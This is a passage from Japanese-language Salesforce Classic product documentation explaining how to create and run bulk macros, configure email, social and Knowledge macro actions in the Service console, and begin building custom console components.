この例では、選択された顧客のケースの取引先責任者にメールを送信する一括
マクロの作成方法を示します。

必要なユーザ権限

マクロに対する「参照」マクロを参照する

マクロに対する「作成」および「編
集」

マクロを作成および編集する

「ユーザが元に戻せないマクロを管
理」

元に戻せないマクロを作成および実行
する

「複数のレコードに対してマクロを実
行」

一括マクロを実行する

たとえば、会社でサービスが停止しているため、多くの顧客がカスタマーサポートに問い合わせをしていると
します。サポートエージェントが、進行中のケースがある顧客に対して、サービスの停止が終了する時期を知
らせるメールを送信できるようにします。メールテンプレートを使用する一括マクロを作成して、これらの顧
客へのメールを作成および送信することができます。
次の手順は、選択されたケースの取引先責任者にメールを送信する一括マクロの作成方法を示しています。こ
の例を Salesforce 組織で再現するには、メールパブリッシャーを有効にします。
1. マクロを作成します。
2. マクロの命令を追加します。

a. マクロのコンテキストを選択します。コンテキストにより、マクロで操作するオブジェクトが指定され
ます。
たとえば、[有効なタブを選択]を選択し、ケースフィードの有効なケースタブでアクションを実行する
ようにマクロに指示します。

b. [完了] をクリックします。すべての命令の後に、[完了] をクリックして次の行に移動します。
c. マクロで操作するパブリッシャーを選択します。

たとえば、[メールアクションを選択]を選択し、ケースフィードのメールパブリッシャーを操作するよ
うにマクロに指示します。

d. マクロで実行するアクションを選択します。
[メールテンプレートを適用] を選択して使用するメールテンプレートを指定できます。

e. 最後に、[アクションを送信] を選択し、これらの命令を実行するようにマクロに指示します。

3. マクロを保存します。
選択されたケースの取引先責任者に対するメールを作成および送信するマクロが作成されました。このマ
クロは一括マクロのすべての条件を満たしているため、一括マクロとして実行できます。メールパブリッ
シャーと連動し、サポートされる命令が使用され、送信アクション命令が含まれます。このマクロは、一
括マクロとして複数のレコードで同時に実行できます。また、一度に 1 つのレコードで実行することもで
きます。
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マクロリストには、緑の稲妻と 2 本の下線を示すアイコン ( ) が一括マクロの横に表示されます。このアイコ
ンがマクロの横に表示されていることを確認してください。

一括マクロ作成のヒント

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一括マクロを効果的に使用するには、マクロの実行対象として適切なレコード
を選択します。サポートエージェントは、リストビューを絞り込んで選択する
レコードを識別できます。
一括マクロを作成する場合は、レコードの項目値を変更する命令を追加するこ
とをお勧めします。エージェントは、項目値に基づいてリストビューのレコー
ドを絞り込むことができます。項目値を更新することで、マクロが実行された
レコードとマクロが実行されていないケースをエージェントが区別できます。

例: たとえば、多数の顧客が短期間に同じ問題に関するケースをオープン
にしているとします。サポートエージェントはこれらの顧客に対し、この
問題は把握しており、現在対処中であることをメールで伝える一括マクロ
を実行できます。2 日後に、同じ問題に関する新しいケースに対してエー
ジェントが一括マクロを再度実行する場合はどうすればよいでしょうか。
エージェントはレコードを絞り込んでマクロを適用するケースを決定する
ため、一括マクロに項目値を変更する命令を追加すると役立ちます。これ
により、マクロを実行するときに項目値が自動的に更新されます。後でエー
ジェントが新しいケースに対応するときに、この項目に基づいてケースを
絞り込むことができます。

複数のレコードに対する一括マクロの実行

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一括マクロは、一度に 1 つのレコードに対してのみ実行することも、複数のレ
コードで同時に実行することもできます。一括マクロを使用して、類似する顧
客ケースやレコードにすばやく対応します。

必要なユーザ権限

マクロに対する「参照」マクロを参照する

マクロに対する「作成」および「編
集」

マクロを作成および編集する

「ユーザが元に戻せないマクロを管
理」

元に戻せないマクロを作成および実行
する

「複数のレコードに対してマクロを実
行」

一括マクロを実行する

メモ: 「ユーザが元に戻せないマクロを管理」権限は、送信アクション命令が含まれるマクロを実行する
場合にのみ必要です。すべての一括マクロには、送信アクション命令が含まれています。稲妻アイコン
( ) は、元に戻すことができないアクション (メールの送信など) がマクロで実行されることを示します。
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一括マクロを実行するには、組織で [拡張リストを有効化] 設定 (ページ 300)が有効になっている必要がありま
す。
一括マクロは、取引先、ケース、取引先責任者、リードオブジェクトのレコードで実行できます。ただし、一
括マクロを実行できるのは、一度に 1 つのオブジェクトリストビューのレコードのみです。たとえば、[ケー
ス] リストビューの複数のケースに一括マクロを実行することはできますが、ケースと取引先に同時に実行す
ることはできません。
緑の稲妻と 2 本の下線を示すアイコン ( ) で、マクロが一括マクロかどうかを識別します。
一括マクロでは、マクロが一度に 10 個単位で処理されます。11 以上のケースに一括マクロを実行することも
可能ですが、システムではマクロが一度に 10 個ずつ処理されます。
1. [ケース] リストビューで、マクロを実行するケースを選択します。

ケースを検索条件で絞り込んで、マクロを実行するケースを特定することもできます。
2. マクロウィジェットを開きます。
3. マクロウィジェットで、緑の稲妻アイコン ( ) が表示されたマクロを選択し、[実行] をクリックします。
4. 確認ウィンドウで、[OK] をクリックして続行します。

選択したケースにマクロが実行されます。リストビューに、マクロが正常に実行されたケースが緑で強調
表示され、緑のチェックマークアイコンが付けられます。マクロが正常に実行されなかったケースは赤で
強調表示され、赤い×アイコンが付けられます。ケースでマクロが機能しなかった理由を確認するには、赤
い×アイコンにマウスポインタを置きます。

関連トピック:

ユーザインターフェースの設定

マクロのショートカット

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キーボードショートカットを使用して、マクロでの作業をさらに効率化するこ
とができます。

表 72 : マクロのショートカット
目的キー

マクロウィジェットを開く。M

カーソルを検索バーに置く。S

選択したマクロを編集する。E

マクロの詳細ページを表示する。V

選択したマクロを実行する。Enter

選択したマクロの手順を展開するか折
りたたむ。

スペースバー

マクロリストを上にスクロールする。上矢印

マクロリストを下にスクロールする。下矢印
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マクロの例

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次の例に、ビジネスニーズに基づいて異なる種類のマクロを作成する方法を示
します。

マクロを使用したケースの項目値の追加および置換
サポートエージェントが頻繁にレコードへの同じ項目値の追加、または項目
値の置換を行っているとします。この場合、自動的にコンテンツを項目に追
加するマクロ、または項目の値を置換するマクロを作成できます。マクロを
使用することで、繰り返される定期アクションが自動化されるため、エー
ジェントは時間を節約して顧客の対応に集中できます。
ソーシャル投稿へのクイックテキストの挿入
サポートエージェントが、Twitter や Facebook などのソーシャルネットワーク
で顧客の質問に頻繁に返答しているとします。この場合は、クイックテキストまたはテキストを使用して
投稿に返答を自動的に挿入するマクロを使用できます。このマクロによって、エージェントはワークフロー
を中断することなく顧客にすばやく返答できます。
マクロを使用してケースフィード内のメールに Salesforce ナレッジ記事を自動的に添付
サポートエージェントが顧客に Salesforce ナレッジの同じ記事を頻繁に送信する場合があります。この例で
は、特定の記事を自動的に選択し、ケースフィード内のメールに挿入するマクロの作成方法について説明
します。このマクロでは、エージェントが時間をかけて記事を検索してメールにコピーする代わりに、ボ
タン 1 つで一般的な顧客の質問に回答できます。
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マクロを使用したケースの項目値の追加および置換

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

マクロを参照する
• マクロに対する「参

照」

マクロを作成および編集
する
• マクロに対する「作

成」および「編集」

元に戻せないマクロを作
成する
• 「ユーザが元に戻せな

いマクロを管理」

サポートエージェントが頻繁にレコードへの同じ項目値の追加、または項目値
の置換を行っているとします。この場合、自動的にコンテンツを項目に追加す
るマクロ、または項目の値を置換するマクロを作成できます。マクロを使用す
ることで、繰り返される定期アクションが自動化されるため、エージェントは
時間を節約して顧客の対応に集中できます。
メールパブリッシャーが Salesforce 組織で有効になっている必要があります。
次の手順は、マクロで追加、置換、および挿入命令を使用できる方法を示して
います。
1. マクロを作成します。
2. どのメール項目値を置換するかをマクロに指示する命令を追加します。次の

例では、メールの [件名] 項目を置換する方法を示します。
a. [マクロ命令] セクションで、[+ 命令を追加] をクリックします。
b. 最初の命令では、どのオブジェクトでアクションを実行するかをマクロ

に指示します。ここでは、[[有効なケース] タブを選択] を選択します。
c. 次の命令では、ケースフィードパブリッシャー内で操作するアクション

をマクロに指示します。ここでは、[メールアクションを選択]を選択しま
す。

d. 次に、メールアクションで何を実行するかをマクロに指示します。[件名
を置き換える] を選択します。テキスト項目で件名を指定します。
置換命令を選択すると、項目の既存の値がクリアされ、マクロで指定し
た値で置き換えられます。
たとえば、「Update on Your Order」と入力します。件名が 私の注文
を受け取っていません だったとします。このマクロで古い件名がクリア
され、Update on Your Order で置き換えられます。

3. メール項目を空白値で置き換えるようにマクロに指示する命令を追加します。この例では、BCC 項目をク
リアします。
a. [BCC アドレスを置き換える] を選択します。テキスト項目を空のままにします。

置換命令を選択してテキスト項目を空のままにすると、項目の値がクリアされて空白項目になります。

4. 項目に値を挿入するようにマクロに指示する命令を追加します。この例では、2 つのメールアドレスを CC

項目に追加します。
a. [CC アドレスを追加]を選択します。テキスト項目でメールアドレスを指定します。複数のメールアドレ

スをカンマで区切って指定できます。
追加または挿入命令を選択すると、マクロで指定した値が項目に追加されますが、既存の値は削除され
ません。
たとえば、「shipping@example.com, invoices@example.com」と入力します。CC 項目にすでに
support@example.com が含まれているとします。このマクロによって、support@example.com の
後に shipping@example.com と invoices@example.com が追加されます。
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5. [アクションを送信]を選択します。この命令は、メールアクションを実行するようにマクロに指示します。
6. マクロを保存します。

ソーシャル投稿へのクイックテキストの挿入

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

マクロを参照する
• マクロに対する「参

照」

マクロを作成および編集
する
• マクロに対する「作

成」および「編集」

元に戻せないマクロを作
成する
• 「ユーザが元に戻せな

いマクロを管理」

サポートエージェントが、Twitter や Facebook などのソーシャルネットワークで顧
客の質問に頻繁に返答しているとします。この場合は、クイックテキストまた
はテキストを使用して投稿に返答を自動的に挿入するマクロを使用できます。
このマクロによって、エージェントはワークフローを中断することなく顧客に
すばやく返答できます。
メールパブリッシャー、クイックテキスト、ソーシャルカスタマーサービスが
組織で有効になっている必要があります。
マクロに命令を挿入できる 1 つの方法を次に示します。
1. マクロを作成します。
2. 操作内容をマクロに指示する命令を追加します。この例では、ソーシャル投

稿にクイックテキストを挿入する方法を示します。
a. [マクロ命令] セクションで、[+ 命令を追加] をクリックします。
b. 最初の命令では、どのオブジェクトでアクションを実行するかをマクロ

に指示します。ここでは、[[有効なケース] タブを選択] を選択します。
c. 次の命令では、ケースフィードパブリッシャー内で操作するアクション

をマクロに指示します。ここでは、[ソーシャルアクションを選択]を選択
します。

d. 次に、ソーシャルアクションで何を実行するかをマクロに指示します。
[本文に挿入]を選択します。[クイックテキスト]または [テキスト]を挿入
できます。
挿入命令を選択すると、マクロで指定したクイックテキストまたはテキ
ストが項目の既存のテキストの後に追加されます。ソーシャルパブリッ
シャーアクションでは、挿入命令は @メンションを保持したり、その後に
テキストを追加したりできるので便利です。

e. マクロで使用するクイックテキストを指定するか、テキストを入力します。

3. [アクションを送信] を選択します。この命令は、ソーシャルアクションを実行するようにマクロに指示し
ます。

4. マクロを保存します。
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マクロを使用してケースフィード内のメールに Salesforce ナレッジ記事を自動的に添付

エディション

使用可能なエディション:
Salesforce Classic

マクロを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
およびDeveloper Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

ユーザ権限

マクロを参照する
• マクロに対する「参

照」

マクロを作成および編集
する
• マクロに対する「作

成」および「編集」

サポートエージェントが顧客に Salesforce ナレッジの同じ記事を頻繁に送信する
場合があります。この例では、特定の記事を自動的に選択し、ケースフィード
内のメールに挿入するマクロの作成方法について説明します。このマクロでは、
エージェントが時間をかけて記事を検索してメールにコピーする代わりに、ボ
タン 1 つで一般的な顧客の質問に回答できます。
組織で Salesforce Knowledge One を有効にする必要があります。Salesforce Knowledge

One コンポーネントを有効にし、Salesforce Console for Service ページにコンポーネン
トとして追加する必要があります。
1. マクロを作成します。
2. 特定の記事を検索するようにマクロに指示する命令を追加します。

a. [マクロ命令] セクションで、[+ 命令を追加] をクリックします。
b. 最初の命令では、どのケースでアクションを実行するかをマクロに指示

します。ここでは、[[有効なケース] タブを選択] を選択します。
c. 次の命令では、コンソールのどの部分でアクションを実行するかをマク

ロに指示します。ここでは、[ナレッジサイドバーコンポーネントを選択]

を選択します。
d. 次に、ナレッジサイドバーで何を実行するかをマクロに指示します。[記

事検索を選択] を選択します。
e. このステップでは、ナレッジ検索で正しい記事の検索に使用するキーワー

ドを定義します。[キーワードを設定]を選択します。テキスト項目で、記
事番号かキーワードのいずれかを指定できます。
• 記事番号: 記事番号は、番号で記事を取得します。特定の記事を選択す

る場合に役立ちます。この構文は articlenumber:123456789です。

メモ: この構文では大文字と小文字が区別され、小文字で指定す
る必要があります。

• キーワード: キーワードでも検索できます。Salesforceは知識ベースの記
事のタイトルと本文内でキーワードを検索します。たとえば、「Reset

Your Password」と入力します。

f. [検索を実行]を選択します。この命令は、誰かがこのマクロを実行したと
きに検索を行うようにマクロに指示します。

3. ケースフィードで編集されているメールに記事を挿入するようにマクロに指示する命令を追加します。
a. [最も関連する記事を選択] をクリックします。この命令は、検索結果で 1 番目の記事を使用するように

マクロに指示します。
b. [HTML としてメールに挿入] を選択します。この命令は、テキストと画像を含む記事全体をメール内の

カーソル位置に挿入します。

4. マクロを保存します。
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マクロでサポートされるパブリッシャーとアクション

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次のパブリッシャーとアクションは、Salesforce Console for Service のマクロでサポー
トされています。

マクロでサポートされるメールパブリッシャーアクション
次のアクションは、マクロ命令で [メールアクションを選択]をクリックした
ときに使用できます。メールアクションでは、ケースフィードのメールのテ
キストを変更できます。Salesforce Console for Service のメールパブリッシャーで
次のアクションを実行するマクロを作成し、実行できます。
マクロでサポートされる Salesforce ナレッジアクション
次のアクションは、マクロ命令で [ナレッジサイドバーコンポーネントを選
択] をクリックしたときに使用できます。ナレッジアクションでは、ナレッ
ジ記事を検索し、記事をケースに追加できます。Salesforce Console for Service の Salesforce ナレッジパブリッ
シャーで次のアクションを実行するマクロを作成し、実行できます。
マクロでサポートされるカスタムクイックアクション
次のアクションは、マクロ命令で [クイックアクションの名前を選択]をクリックしたときに使用できます。
Salesforce Console for Service でカスタムクイックアクションを実行するマクロを作成し、実行できます。
マクロでサポートされるコミュニティパブリッシャーアクション
次のアクションは、マクロ命令で [コミュニティアクションを選択] をクリックしたときに使用できます。
コミュニティアクションでは、Salesforce Communities に対して更新および投稿することができます。Salesforce

Console for Service のコミュニティパブリッシャーで次のアクションを実行するマクロを作成し、実行できま
す。
マクロでサポートされるソーシャルアクション
次のアクションは、マクロ命令で [ソーシャルアクションを選択] をクリックしたときに使用できます。
Salesforce Console for Service のソーシャルパブリッシャーで次のアクションを実行するマクロを作成し、実行
できます。

マクロでサポートされるメールパブリッシャーアクション

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次のアクションは、マクロ命令で [メールアクションを選択] をクリックしたと
きに使用できます。メールアクションでは、ケースフィードのメールのテキス
トを変更できます。Salesforce Console for Service のメールパブリッシャーで次のア
クションを実行するマクロを作成し、実行できます。
これらのアクションを使用するには、Salesforce 組織でメールパブリッシャーが
有効化され、コンソールコンポーネントとしてケースページレイアウトに追加
されている必要があります。
メールパブリッシャーアクションでは、一括マクロがサポートされています。
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表 73 : マクロでサポートされるメールパブリッシャーアクション
一括マクロでサ

ポート?
説明アクション

はい[宛先アドレス] 項目のメールアドレスをクリアし、指定されたメールア
ドレスで置き換えます。複数のメールアドレスを使用する場合は、カン
マで区切ります。

宛先アドレスの
置換

いいえこれらのメールアドレスを [宛先] 項目に追加しますが、[宛先] 項目にす
でにあるアドレスは削除しません。複数のメールアドレスを使用する場
合は、カンマで区切ります。

宛先アドレスへ
の追加

はい[CC アドレス] 項目のメールアドレスをクリアし、指定されたメールアド
レスで置き換えます。複数のメールアドレスを使用する場合は、カンマ
で区切ります。

CC アドレスの置
換

いいえこれらのメールアドレスを [CC] 項目に追加しますが、[CC] 項目にすでに
あるアドレスは削除しません。複数のメールアドレスを使用する場合
は、カンマで区切ります。

CC アドレスへの
追加

はい[BCC アドレス] 項目のメールアドレスをクリアし、指定されたメールア
ドレスで置き換えます。複数のメールアドレスを使用する場合は、カン
マで区切ります。

BCC アドレスの置
換

いいえこれらのメールアドレスを [BCC] 項目に追加しますが、[BCC] 項目にすで
にあるアドレスは削除しません。複数のメールアドレスを使用する場合
は、カンマで区切ります。

BCC アドレスへの
追加

はい[送信元アドレス] 項目のメールアドレスをクリアし、指定されたメール
アドレスで置き換えます。

送信元アドレス
の設定

はい[件名] 項目をクリアし、指定されたテキストで置き換えます。件名の置換

いいえこのテキストを [件名] 項目の最後に追加しますが、[件名] 項目にすでに
ある既存のテキストは削除しません。

件名への追加

はいメール本文のコンテンツをクリアし、指定された HTML コンテンツで置
き換えます。

HTML 本文の置換

いいえクイックテキストまたはテキストを HTML 本文テキストに追加しますが、
すでにある既存のテキストは削除しません。クイックテキストまたはテ
キストは、カーソル位置で挿入されます。

HTML 本文への挿
入

はい指定されたメールテンプレートを有効なケースタブにあるメールに挿入
します。

メールテンプ
レートの適用

はい誰かがこのマクロを実行したときに命令を実行するようにマクロに指示
します。

送信アクション
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一括マクロでサ
ポート?

説明アクション

送信アクション命令が含まれるマクロは元に戻せません。元に戻せない
アクションを実行する命令を含むマクロを作成、編集、実行するには、
「ユーザが元に戻せないマクロを管理」権限が必要です。
送信アクション命令が含まれるマクロは、一括マクロとして実行できま
せん。一括マクロを実行するには、「複数のレコードに対してマクロを
実行」ユーザ権限が必要です。

マクロでサポートされる Salesforce ナレッジアクション

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次のアクションは、マクロ命令で [ナレッジサイドバーコンポーネントを選択]

をクリックしたときに使用できます。ナレッジアクションでは、ナレッジ記事
を検索し、記事をケースに追加できます。Salesforce Console for Service の Salesforce

ナレッジパブリッシャーで次のアクションを実行するマクロを作成し、実行で
きます。
これらのアクションを使用するには、組織で Salesforce ナレッジが有効化され、
コンソールコンポーネントとして追加されている必要があります。ケースへの
記事の添付などの Salesforce ナレッジアクションは、コンソールで有効化する必
要があります。

メモ: ナレッジマクロを実行する場合、ナレッジサイドバーが展開されて
いる必要があります。サイドバーが折りたたまれていると、マクロが機能
しません。

Salesforce ナレッジアクションでは、Internet Explorer 7 および一括マクロはサポートされていません。

表 74 : マクロでサポートされる Salesforce ナレッジアクション
一括マクロでサ

ポート?
説明アクション

いいえこれらの命令がコンソールのナレッジサイドバーに影響することをマク
ロに指示します。

ナレッジサイド
バーコンポーネ
ントの選択

いいえ命令がナレッジ検索に影響することをマクロに指示します。記事の検索の選
択

いいえ知識ベースの検索時に使用するキーワードを指定します。次の項目で検
索できます。

キーワードの設
定

• 記事番号: 記事番号は、番号で記事を取得します。特定の記事を選択
する場合に役立ちます。この構文は articlenumber:123456789

です。
• キーワード: キーワードで検索できます。Salesforce ナレッジ検索では、

知識ベースの記事のタイトルと本文内でこのキーワードが検索され
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一括マクロでサ
ポート?

説明アクション

ます。たとえば、「Reset Your Password」という語句からは、そ
の語句を含む記事が返されます。

いいえキーワードの設定命令で指定された条件を使用して、知識ベースを検索
するようマクロに指示します。

検索の実行

いいえ検索結果で最初に表示される記事を選択します。最も関連性のあ
る記事の検索

いいえ記事をケースに添付します。ケースに添付

いいえ記事を PDF 添付ファイルとしてケースのメールに追加します。PDF としてメール
に添付

いいえ記事のテキストとリンクをケースのメールに挿入します。HTML としてメー
ルに挿入

マクロでサポートされるカスタムクイックアクション

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次のアクションは、マクロ命令で [クイックアクションの名前を選択]をクリック
したときに使用できます。Salesforce Console for Service でカスタムクイックアクショ
ンを実行するマクロを作成し、実行できます。
これらのアクションを使用するには、Salesforce 組織でクイックアクションが定
義され、ケースフィードページレイアウトに追加されている必要があります。
ソーシャルアクションのクイックアクションでは、一括マクロはサポートされ
ていません。

表 75 : マクロでサポートされるカスタムクイックアクション
一括マクロ
でサポート

説明アクション

はいテキスト項目のコンテンツをクリアし、指定された
テキストで置き換えます。

<text

field> の
置換

いいえ指定されたテキストをテキスト項目の最後に追加し
ますが、すでにある既存のテキストは削除しませ
ん。テキストは、カーソル位置で挿入されます。

<text

field> へ
の追加

はい誰かがこのマクロを実行したときに命令を実行する
ようにマクロに指示します。

送信アク
ション

送信アクション命令が含まれるマクロは元に戻せま
せん。元に戻せないアクションを実行する命令を含
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一括マクロでサ
ポート

説明アクション

むマクロを作成、編集、実行するには、「ユーザが元に戻せないマクロ
を管理」権限が必要です。
送信アクション命令が含まれるマクロは、一括マクロとして実行できま
せん。一括マクロを実行するには、「複数のレコードに対してマクロを
実行」ユーザ権限が必要です。

マクロでサポートされるコミュニティパブリッシャーアクション

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次のアクションは、マクロ命令で [コミュニティアクションを選択] をクリック
したときに使用できます。コミュニティアクションでは、Salesforce Communities

に対して更新および投稿することができます。Salesforce Console for Service のコミュ
ニティパブリッシャーで次のアクションを実行するマクロを作成し、実行でき
ます。
これらのアクションを使用するには、Salesforce 組織でコミュニティパブリッ
シャーが有効化され、コンソールコンポーネントとしてケースページレイアウ
トに追加されている必要があります。
コミュニティパブリッシャーアクションでは、一括マクロはサポートされてい
ません。

表 76 : マクロでサポートされるコミュニティパブリッシャーアクション
一括マクロでサ

ポート?
説明アクション

いいえ投稿のコンテンツをクリアし、指定されたテキストで置き換えます。本文の置換

いいえクイックテキストまたはテキストをコミュニティ投稿に追加しますが、
すでにある既存のテキストは削除しません。クイックテキストまたはテ
キストは、カーソル位置で挿入されます。

本文への挿入

いいえ誰かがこのマクロを実行したときに命令を実行するようにマクロに指示
します。

送信アクション

送信アクション命令が含まれるマクロは元に戻せません。元に戻せない
アクションを実行する命令を含むマクロを作成、編集、実行するには、
「ユーザが元に戻せないマクロを管理」権限が必要です。
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マクロでサポートされるソーシャルアクション

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次のアクションは、マクロ命令で [ソーシャルアクションを選択] をクリックし
たときに使用できます。Salesforce Console for Service のソーシャルパブリッシャー
で次のアクションを実行するマクロを作成し、実行できます。
これらのアクションを使用するには、組織でソーシャルアクションが有効化さ
れ、コンソールコンポーネントとしてケースフィードページレイアウトに追加
されている必要があります。
ソーシャルアクションでは、一括マクロはサポートされていません。

表 77 : マクロでサポートされるソーシャルアクション
一括マクロ
でサポー

ト?

説明アクション

いいえテキスト項目のコンテンツをクリアし、指定された
テキストで置き換えます。

コンテンツ
の置換

いいえ指定されたテキストをテキスト項目に追加します
が、すでにある既存のテキストは削除しません。ク

コンテンツ
への挿入

イックテキストまたはテキストは、カーソル位置で
挿入されます。

いいえ選択されたメッセージ種別を使用するようマクロに
指示します。

メッセージ
種別の設定

Facebook のメッセージ種別:

• 投稿
• コメント
• 非公開
Twitter のメッセージ種別:

• ツイート
• リツイート
• 返信
• ダイレクト

いいえ誰かがこのマクロを実行したときに命令を実行する
ようにマクロに指示します。

送信アク
ション

送信アクション命令が含まれるマクロは元に戻せま
せん。元に戻せないアクションを実行する命令を含
むマクロを作成、編集、実行するには、「ユーザが
元に戻せないマクロを管理」権限が必要です。
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Salesforce Classic でのカスタムコンポーネントを使用したコンソール
のカスタマイズ

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce コンソールをカスタマイズ、拡張、または他のシステムと統合するコ
ンポーネントを作成します。
コンポーネントを使用すると、コンソールのフッター、サイドバー、強調表示
パネル、および相互関係ログに多様なデータを表示できます。さまざまなビジ
ネス問題を解決し、項目を表示する次のようなコンポーネントを作成できます。
• サードパーティアプリケーション
• チャットまたはソフトフォンウィジェット
• ユーザが特定のページを表示したときに表示されるコンテンツ
• レコードと共に表示されるコンテキスト情報
• カスタムの強調表示パネルまたは相互関係ログ
• ユーザがフッターのカスタマイズ可能なボタンをクリックしたときに表示されるコンテンツ
コンポーネントによってコンソールを工夫し、ユーザの作業内容に合わせて構築できます。コンポーネントを
作成するには、Visualforce、キャンバスアプリケーション、ルックアップ項目、関連リスト、レポートグラフを
使用できます。Force.com Canvas または Salesforce コンソールインテグレーションツールキットを使用してコン
ポーネントを構築することもできます。どちらの技術も、開発者がコンソールを拡張または統合できる JavaScript

API です。ツールキットを使用すると、コンソールにプログラムでアクセスできるため、タブの開閉などの操
作を実行してビジネスプロセスを合理化できます。一方、Canvas を使用すると、認証方式を必要とする外部ア
プリケーションとコンソールを容易に統合できます
キャンバスアプリケーションまたはツールキットについての詳細は、『Force.com Canvas 開発者ガイド』および
『Salesforce コンソールインテグレーションツールキット開発者ガイド』を参照してください。

Salesforce Classic のコンソールコンポーネントの作成プロセス
Salesforce コンソールのコンポーネントを作成する場合、開発者とシステム管理者は一般的に次の手順に従
います。
Salesforce Classic でのコンソールコンポーネントの実装のヒント
Salesforce コンソールのコンポーネントを作成する前に、次のヒントを確認してください。
Salesforce Classic のページレイアウトへのコンソールコンポーネントの追加
コンソールコンポーネントを作成したら、ユーザが Salesforce コンソールのサイドバーからアクセスできる
ようにページレイアウトに追加できます。
Salesforce Classic のコンソールサイドバーへのクイックアクションの追加
カスタムクイックアクションをコンソールサイドバーに追加すると、サポートエージェントがケースに関
連付けられたレコードの作成、更新、および検索を簡単に行うことができます。クイックアクションは、
コンソールコンポーネントとして追加されます。
Salesforce Classic のコンソールコンポーネントのサイドバーのスタイル
システム管理者は、コンポーネントをページレイアウトに追加するときに、Salesforce コンソールでコンポー
ネントを表示するサイドバーのスタイルを選択します。
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Salesforce Classic のアプリケーションへのコンソールコンポーネントの追加
コンソールコンポーネントを作成したら、ユーザがアクセスできるように Salesforce コンソールのフッター
にボタンとして追加できます。
Salesforce Classic のアプリケーションへのコンソールコンポーネントの割り当て
Salesforce コンソールアプリケーションにコンソールコンポーネントを追加したら、ユーザがアクセスでき
るように各コンソールに割り当てる必要があります。

Salesforce Classic のコンソールコンポーネントの作成プロセス

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce コンソールのコンポーネントを作成する場合、開発者とシステム管理
者は一般的に次の手順に従います。
多くのビジネス問題を解決するためにさまざまなコンソールコンポーネントを
作成できますが、コンポーネントの作成プロセスは一般的に次の手順に従いま
す。
1. 開発者がVisualforceページまたはキャンバスアプリケーションを作成します。
2. システム管理者がVisualforceページまたはキャンバスアプリケーションを次の

いずれかに追加します。
• 特定のページにコンテンツを表示するページレイアウト
• すべてのページとタブにコンテンツを表示するコンソールアプリケーショ

ン

3. コンポーネントをページレイアウトに追加するシステム管理者は、次の操作を行います。
• コンソールを表示するサイドバーを選択する (左、右、上、下など)

• サイドバーに複数のコンポーネントを追加するかどうかと、その配置方法 (スタック、タブ、アコーディ
オンのいずれか) を選択する

4. コンポーネントをアプリケーションに追加するシステム管理者は、次の操作を行います。
• コンソールのフッターからコンポーネントにアクセスするために使用するボタンのデザインを指定する
• ユーザがアクセスに使用する各コンソールにコンポーネントを割り当てる

5. ユーザがページレイアウトにアクセスするか、コンソールのフッターにあるボタンをクリックすると、コ
ンポーネントが表示されます。

ヒント: 参照項目または関連リストをコンポーネントとして追加する場合、Visualforceページまたはキャン
バスアプリケーションを作成しなくても追加できます。「Salesforce Classic のページレイアウトへのコン
ソールコンポーネントの追加」」の手順を実行し、[種別] 項目で [ルックアップ] または [関連リスト] を
選択して特定の項目またはリストを選択します。

関連トピック:

Salesforce Classic でのコンソールコンポーネントの実装のヒント
Salesforce Classic のページレイアウトへのコンソールコンポーネントの追加
Salesforce Classic のアプリケーションへのコンソールコンポーネントの追加
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Salesforce Classic でのコンソールコンポーネントの実装のヒント

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce コンソールのコンポーネントを作成する前に、次のヒントを確認して
ください。
動作とアクセスのヒント

• キャンバスアプリケーションコンポーネントは、AppExchange パッケージ
には追加できません。

• 主タブまたはサブタブでレコードを更新しても、コンポーネントは自動
的に更新されません。

• コンソールコンポーネントの [高さ] または [幅] を変更する場合、ブラ
ウザを更新して最新情報を表示します。

• 開発者が Salesforce メタデータ API を使用する場合や、Sandbox と本番イン
スタンス間の移行には、レポートグラフコンポーネントを使用できませ
ん。

ページレイアウトのヒント
• Sales Cloud ユーザ権限または Service Cloud ユーザ機能ライセンスが割り当てられている場合は、ページレ

イアウトにコンポーネントを追加できます。
• ページレイアウトの強調表示パネルまたは相互関係ログをオフにした後、コンポーネントを主タブの上

サイドバーまたは下サイドバーに追加できます。
• コンポーネントを主タブのすべてのサブタブに表示する場合は、ページレイアウトの [主タブコンポー

ネント] セクションにコンポーネントを追加します。ページレイアウトの [サブタブコンポーネント] セ
